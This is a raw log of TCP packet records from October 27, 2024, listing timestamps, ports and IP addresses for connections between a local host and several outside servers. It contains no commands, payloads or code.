Oct 27, 2024 17:54:23.419472933 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.419500113 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.419605017 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.419614077 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.419693947 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.419996023 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.420131922 CET	49747	443	192.168.2.5	142.250.181.238
Oct 27, 2024 17:54:23.420152903 CET	443	49747	142.250.181.238	192.168.2.5
Oct 27, 2024 17:54:23.536787987 CET	443	49756	142.250.184.206	192.168.2.5
Oct 27, 2024 17:54:23.585062981 CET	49756	443	192.168.2.5	142.250.184.206
Oct 27, 2024 17:54:23.585091114 CET	443	49756	142.250.184.206	192.168.2.5
Oct 27, 2024 17:54:23.586122036 CET	49756	443	192.168.2.5	142.250.184.206
Oct 27, 2024 17:54:23.586189985 CET	443	49756	142.250.184.206	192.168.2.5
Oct 27, 2024 17:54:23.586352110 CET	443	49756	142.250.184.206	192.168.2.5
Oct 27, 2024 17:54:23.586395979 CET	49756	443	192.168.2.5	142.250.184.206
Oct 27, 2024 17:54:23.586395979 CET	49756	443	192.168.2.5	142.250.184.206
Oct 27, 2024 17:54:23.708103895 CET	443	49761	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.708631039 CET	49761	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.708652020 CET	443	49761	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.709145069 CET	49761	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.709156036 CET	443	49761	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.715558052 CET	443	49762	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.715949059 CET	49762	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.715976000 CET	443	49762	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.716437101 CET	49762	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.716448069 CET	443	49762	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.729535103 CET	443	49760	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.730063915 CET	49760	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.730087996 CET	443	49760	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.730503082 CET	49760	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.730516911 CET	443	49760	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.740317106 CET	443	49763	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.740708113 CET	49763	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.740725040 CET	443	49763	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.741163015 CET	49763	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.741173983 CET	443	49763	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.837882042 CET	443	49761	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.838299036 CET	443	49761	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.838376045 CET	49761	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.838417053 CET	49761	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.838439941 CET	443	49761	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.838485956 CET	49761	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.838499069 CET	443	49761	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.840857029 CET	49767	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.840907097 CET	443	49767	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.841109991 CET	49767	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.841238976 CET	49767	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.841249943 CET	443	49767	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.843781948 CET	443	49762	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.843895912 CET	443	49762	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.843995094 CET	49762	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.844037056 CET	49762	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.844037056 CET	49762	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.844062090 CET	443	49762	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.844083071 CET	443	49762	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.846045971 CET	49768	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.846075058 CET	443	49768	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.846308947 CET	49768	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.846422911 CET	49768	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.846432924 CET	443	49768	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.861208916 CET	443	49760	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.861620903 CET	443	49760	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.861782074 CET	49760	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.861826897 CET	49760	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.861826897 CET	49760	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.861850023 CET	443	49760	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.861867905 CET	443	49760	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.864145041 CET	49769	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.864180088 CET	443	49769	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.864823103 CET	49769	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.864998102 CET	49769	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.865012884 CET	443	49769	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.868346930 CET	443	49763	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.868530989 CET	443	49763	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.868803024 CET	49763	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.868958950 CET	49763	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.868974924 CET	443	49763	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.869004965 CET	49763	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.869015932 CET	443	49763	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.871320009 CET	49770	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.871340990 CET	443	49770	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.871567965 CET	49770	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.871701002 CET	49770	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.871712923 CET	443	49770	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.888062000 CET	49748	443	192.168.2.5	20.109.210.53
Oct 27, 2024 17:54:23.888088942 CET	443	49748	20.109.210.53	192.168.2.5
Oct 27, 2024 17:54:23.888103008 CET	49748	443	192.168.2.5	20.109.210.53
Oct 27, 2024 17:54:23.888109922 CET	443	49748	20.109.210.53	192.168.2.5
Oct 27, 2024 17:54:23.914624929 CET	443	49765	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.917193890 CET	49765	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.917233944 CET	443	49765	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.918659925 CET	49765	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:23.918673038 CET	443	49765	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:23.951047897 CET	80	49758	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:23.951220989 CET	49758	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:24.093408108 CET	49758	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:24.098706961 CET	80	49758	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:24.223543882 CET	443	49765	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.223714113 CET	443	49765	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.223805904 CET	49765	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.224119902 CET	49765	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.224133015 CET	443	49765	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.224149942 CET	49765	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.224155903 CET	443	49765	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.229387045 CET	49772	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.229474068 CET	443	49772	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.229617119 CET	49772	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.230370045 CET	49772	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.230403900 CET	443	49772	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.280278921 CET	49730	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:24.565804958 CET	443	49767	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.566234112 CET	49767	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.566245079 CET	443	49767	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.566829920 CET	49767	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.566837072 CET	443	49767	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.588525057 CET	443	49768	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.588965893 CET	49768	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.588974953 CET	443	49768	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.589553118 CET	49768	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.589557886 CET	443	49768	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.599989891 CET	443	49770	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.600524902 CET	49770	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.600533962 CET	443	49770	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.601068020 CET	49770	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.601073027 CET	443	49770	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.606700897 CET	443	49769	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.607032061 CET	49769	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.607045889 CET	443	49769	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.607434034 CET	49769	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.607439041 CET	443	49769	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.695777893 CET	443	49767	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.695871115 CET	443	49767	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.695965052 CET	49767	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.696126938 CET	49767	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.696139097 CET	443	49767	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.696151018 CET	49767	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.696156025 CET	443	49767	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.699112892 CET	49775	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.699150085 CET	443	49775	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.699227095 CET	49775	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.699404001 CET	49775	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.699419975 CET	443	49775	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.720477104 CET	443	49768	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.720623016 CET	443	49768	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.720699072 CET	49768	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.720760107 CET	49768	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.720793962 CET	443	49768	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.720820904 CET	49768	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.720835924 CET	443	49768	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.723541021 CET	49776	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.723563910 CET	443	49776	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.723619938 CET	49776	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.723776102 CET	49776	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.723789930 CET	443	49776	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.727395058 CET	443	49770	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.727621078 CET	443	49770	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.727683067 CET	49770	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.727737904 CET	49770	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.727737904 CET	49770	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.727749109 CET	443	49770	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.727765083 CET	443	49770	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.729981899 CET	49777	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.730003119 CET	443	49777	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.730251074 CET	49777	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.730379105 CET	49777	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.730391026 CET	443	49777	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.738091946 CET	443	49769	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.738245010 CET	443	49769	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.738307953 CET	49769	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.738522053 CET	49769	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.738540888 CET	443	49769	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.738554955 CET	49769	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.738560915 CET	443	49769	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.740770102 CET	49778	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.740783930 CET	443	49778	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.740839958 CET	49778	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.741019964 CET	49778	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.741033077 CET	443	49778	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.880600929 CET	80	49758	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:24.880763054 CET	49758	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:24.972659111 CET	443	49772	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.973308086 CET	49772	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.973351955 CET	443	49772	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:24.974962950 CET	49772	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:24.974986076 CET	443	49772	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.105834007 CET	443	49772	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.105937004 CET	443	49772	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.106118917 CET	49772	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.106344938 CET	49772	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.106344938 CET	49772	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.106389046 CET	443	49772	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.106415987 CET	443	49772	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.108823061 CET	49779	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.108856916 CET	443	49779	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.111156940 CET	49779	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.111260891 CET	49779	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.111270905 CET	443	49779	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.429213047 CET	443	49775	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.431292057 CET	49775	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.431305885 CET	443	49775	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.432454109 CET	49775	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.432465076 CET	443	49775	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.474502087 CET	443	49776	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.478066921 CET	443	49778	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.484841108 CET	443	49777	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.522595882 CET	49776	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.522620916 CET	49778	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.538250923 CET	49777	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.562032938 CET	443	49775	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.562099934 CET	443	49775	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.562158108 CET	49775	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.596039057 CET	49776	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.596054077 CET	443	49776	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.596409082 CET	49776	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.596415043 CET	443	49776	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.596636057 CET	49775	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.596636057 CET	49775	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.596662998 CET	443	49775	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.596676111 CET	443	49775	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.598326921 CET	49778	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.598335028 CET	443	49778	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.598763943 CET	49778	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.598769903 CET	443	49778	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.598965883 CET	49777	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.598989010 CET	443	49777	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.599348068 CET	49777	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.599355936 CET	443	49777	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.727123976 CET	443	49776	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.727169037 CET	443	49778	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.727196932 CET	443	49776	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.727245092 CET	443	49778	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.727327108 CET	49776	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.727361917 CET	49778	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.794032097 CET	49780	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.794085026 CET	443	49780	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.794224024 CET	49780	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.794377089 CET	49776	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.794409037 CET	443	49776	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.794421911 CET	49776	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.794430017 CET	443	49776	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.798758984 CET	49778	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.798772097 CET	443	49778	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.798782110 CET	49778	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.798784971 CET	443	49778	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.962001085 CET	443	49777	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.962208986 CET	443	49777	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.962445021 CET	49777	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.963845015 CET	443	49779	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.986686945 CET	49779	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.986717939 CET	443	49779	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.987205029 CET	49779	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.987215042 CET	443	49779	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:25.987332106 CET	49780	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:25.987364054 CET	443	49780	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.022991896 CET	49777	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.023015976 CET	443	49777	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.023036957 CET	49777	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.023046017 CET	443	49777	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.026304007 CET	49781	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.026352882 CET	443	49781	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.026544094 CET	49781	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.034703016 CET	49781	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.034718990 CET	443	49781	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.050297976 CET	49782	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.050344944 CET	443	49782	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.050438881 CET	49782	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.053778887 CET	49782	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.053792953 CET	443	49782	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.062226057 CET	49783	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.062242031 CET	443	49783	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.062964916 CET	49783	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.068134069 CET	49783	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.068145990 CET	443	49783	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.115075111 CET	443	49779	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.115147114 CET	443	49779	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.115216017 CET	49779	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.115406036 CET	49779	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.115426064 CET	443	49779	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.115442038 CET	49779	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.115448952 CET	443	49779	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.121911049 CET	49784	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.121993065 CET	443	49784	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.122064114 CET	49784	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.129764080 CET	49784	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.129803896 CET	443	49784	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.728245020 CET	443	49780	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.772650003 CET	49780	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.777906895 CET	443	49781	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.795783997 CET	443	49783	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.800915956 CET	443	49782	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.819487095 CET	49781	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.835335970 CET	49783	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.850722075 CET	49782	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.991348028 CET	49782	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.991375923 CET	443	49782	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.992866039 CET	49782	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.992871046 CET	443	49782	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.993163109 CET	49780	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.993175983 CET	443	49780	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:26.993577957 CET	49780	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:26.993586063 CET	443	49780	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.005260944 CET	49781	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.005299091 CET	443	49781	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.005675077 CET	49781	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.005686045 CET	443	49781	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.012129068 CET	49783	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.012155056 CET	443	49783	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.012511969 CET	49783	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.012525082 CET	443	49783	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.120287895 CET	443	49780	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.120364904 CET	443	49780	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.120417118 CET	49780	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.121145010 CET	443	49782	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.122028112 CET	443	49782	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.122087955 CET	49782	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.128413916 CET	49780	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.128413916 CET	49780	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.128436089 CET	443	49780	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.128447056 CET	443	49780	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.130772114 CET	49782	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.130772114 CET	49782	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.130783081 CET	443	49782	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.130791903 CET	443	49782	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.131340027 CET	443	49781	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.131480932 CET	443	49781	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.132272959 CET	49781	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.137087107 CET	443	49783	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.137168884 CET	443	49783	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.138125896 CET	49783	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.150453091 CET	49781	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.150480032 CET	443	49781	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.150543928 CET	49781	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.150562048 CET	443	49781	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.151806116 CET	49783	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.151806116 CET	49783	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.151823997 CET	443	49783	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.151844025 CET	443	49783	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.154225111 CET	49785	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.154326916 CET	443	49785	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.154473066 CET	49785	443	192.168.2.5	13.107.246.45
